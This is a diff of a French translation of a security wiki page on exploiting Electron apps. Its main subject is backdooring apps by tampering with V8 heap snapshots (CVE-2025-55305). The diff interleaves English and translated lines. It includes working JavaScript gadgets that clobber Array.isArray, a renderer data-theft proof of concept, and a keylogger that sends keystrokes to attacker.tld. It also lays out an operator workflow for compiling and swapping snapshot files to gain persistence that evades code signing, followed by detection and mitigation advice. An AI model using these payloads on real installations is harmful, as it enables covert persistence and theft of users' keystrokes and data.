Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) vous pouvez trouver un lab montrant comment exploiter des applications Electron vulnérables.
|
||||
|
||||
Quelques commandes qui vous aideront avec le lab:
|
||||
Quelques commandes qui vous aideront pour le lab:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -437,13 +459,13 @@ npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
Les applications basées sur Electron et Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et éventuellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les mécanismes d'intégrité d'Electron ne considéraient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des vérifications d'intégrité basées sur les fuses et aux contrôles de signature de code du système d'exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l'utilisateur permettait une exécution de code furtive et persistante au sein de l'app sans modifier les binaires signés ni l'ASAR.
|
||||
|
||||
Points clés
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar valident le JavaScript de l'app à l'intérieur de l'ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). Chromium ne vérifie pas non plus l'intégrité des snapshots.
|
||||
- Attack preconditions: écriture locale de fichiers dans le répertoire d'installation de l'app. Cela est courant sur les systèmes où les apps Electron ou navigateurs Chromium sont installés dans des chemins modifiables par l'utilisateur (p.ex. %AppData%\Local sous Windows ; /Applications avec des réserves sur macOS).
|
||||
- Effect: exécution fiable du payload JavaScript de l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un « gadget »), permettant persistance et contournement de la vérification de signature de code.
|
||||
- Affected surface: apps Electron (même avec les fuses activés) et navigateurs basés sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l'utilisateur.
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
@ -462,9 +484,9 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Détection du processus principal: Les globaux spécifiques à Node comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection navigateur/renderer: Les globaux spécifiques au navigateur comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
Routage de payload conscient des isolates (exécuter du code différent dans main vs. renderer)
|
||||
- Détection du processus principal : des Node-only globals comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du processus principal.
|
||||
- Détection Browser/renderer : des Browser-only globals comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
|
||||
|
||||
Exemple de gadget qui sonde une fois les capacités Node du processus principal
|
||||
```js
|
||||
@ -495,7 +517,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC de vol de données du renderer/contexte du navigateur (p. ex., Slack)
|
||||
Renderer/browser-context PoC de vol de données (p.ex., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -519,27 +541,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator workflow
|
||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
Flux de travail de l'opérateur
|
||||
1) Écrire payload.js qui remplace un builtin courant (par ex., Array.isArray) et effectue éventuellement des branches par isolate.
|
||||
2) Construire le snapshot sans les sources Chromium:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
3) Écraser le(s) fichier(s) snapshot de l'application cible :
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
- browser_v8_context_snapshot.bin (si le fuse LoadBrowserProcessSpecificV8Snapshot est utilisé)
|
||||
4) Lancer l'application ; le gadget s'exécute chaque fois que le builtin choisi est utilisé.
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
Notes et considérations
|
||||
- Contournement d'intégrité/signature : les fichiers snapshot ne sont pas considérés comme des exécutables natifs par les vérifications de code-signing et (historiquement) n'étaient pas couverts par les fuses d'Electron ni par les contrôles d'intégrité de Chromium.
|
||||
- Persistance : remplacer le snapshot dans une installation modifiable par l'utilisateur survit généralement aux redémarrages de l'application et ressemble à une application signée et légitime.
|
||||
- Navigateurs Chromium : le même concept de manipulation s'applique à Chrome/derivatives installés dans des emplacements modifiables par l'utilisateur. Chrome dispose d'autres mesures d'intégrité mais exclut explicitement les attaques physiquement locales de son modèle de menace.
|
||||
|
||||
Detection and mitigations
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
Détection et atténuations
|
||||
- Traiter les snapshots comme du contenu exécutable et les inclure dans l'application des contrôles d'intégrité (CVE-2025-55305 fix).
|
||||
- Préférer des emplacements d'installation modifiables uniquement par les admins ; établir une baseline et surveiller les hashes pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
|
||||
- Détecter le remplacement de builtin en early-runtime et les modifications inattendues de snapshot ; alerter lorsque les snapshots désérialisés ne correspondent pas aux valeurs attendues.
|
||||
|
||||
## **References**
|
||||
## **Références**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -549,7 +575,6 @@ Detection and mitigations
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
Loading…
x
Reference in New Issue
Block a user